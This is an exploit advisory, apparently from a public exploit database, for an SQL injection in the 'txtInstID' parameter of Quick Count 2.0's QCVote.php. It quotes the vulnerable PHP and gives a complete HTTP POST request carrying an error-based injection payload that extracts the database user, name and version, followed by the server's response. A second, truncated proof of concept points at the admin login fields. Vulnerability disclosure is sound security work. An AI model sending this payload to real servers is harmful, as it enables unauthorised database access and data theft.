Quick Count 2.0 – ‘txtInstID’ SQL Injection
# Exploit Title: Quick Count 2.0 - 'txtInstID' SQL Injection # Dork: N/A # Date: 2018-10-25 # Exploit Author: Ihsan Sencan # Vendor Homepage: https://quickcount.sourceforge.io/ # Software Link: https://sourceforge.net/projects/quickcount/files/latest/download # Version: 2.0 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # POC: # 1) # http://localhost/[PATH]/QCVote.php # # [PATH]/QCVote.php # .... # 90 $_SESSION['glbInstID'] = ""; # 91 if ($_SERVER["REQUEST_METHOD"] == "POST") { # 92 // collect value of input field # 93 if (isset($_REQUEST['txtInstID'])) { # 94 $name = $_REQUEST['txtInstID']; # 95 } # 96 if (isset($_REQUEST['btnA'])) { # 97 $btnAVal = $_REQUEST['btnA']; # 98 } # 99 if (isset($_REQUEST['btnB'])) { # 100 $btnBVal = $_REQUEST['btnB']; # 101 } # 102 if (isset($_REQUEST['btnC'])) { # 103 $btnCVal = $_REQUEST['btnC']; # 104 } # 105 if (isset($_REQUEST['btnD'])) { # 106 $btnDVal = $_REQUEST['btnD']; # 107 } # 108 if (isset($_REQUEST['btnE'])) { # 109 $btnEVal = $_REQUEST['btnE']; # 110 } # .... # POST /[PATH]/QCVote.php HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 268 txtInstID=12'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||' HTTP/1.1 200 OK Date: Thu, 25 Oct 2018 16:35:16 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6.30 Set-Cookie: PHPSESSID=q360l936bjohek90ekaj85b0r4; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 5976 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 # POC: # 2) # http://localhost/[PATH]/QCAdmin.php # # [PATH]/QCAdmin.php Post/txtLogID=&txtLogPW=&txtSC=&txtExpDt=&txtSchName=&txtDept=&btnLogin=Login&txtInstClr=&txtLoginout=LoggedOUT # .... #201 if ($_SERVER["REQUEST_METHOD"] == "POST") { #202 // collect value of input field #203 if (isset($_REQUEST['txtLogID'])) { #204 $txtLogIDVal = $_REQUEST['txtLogID']; #205 $_SESSION['glbLogID']=$txtLogIDVal; #206 } #207 if (isset($_REQUEST['txtLogPW'])) { #208 $txtLogPWVal = $_REQUEST['txtLogPW']; #209 $_SESSION['glbLogPW'] = $txtLogPWVal; # ....Etc.... |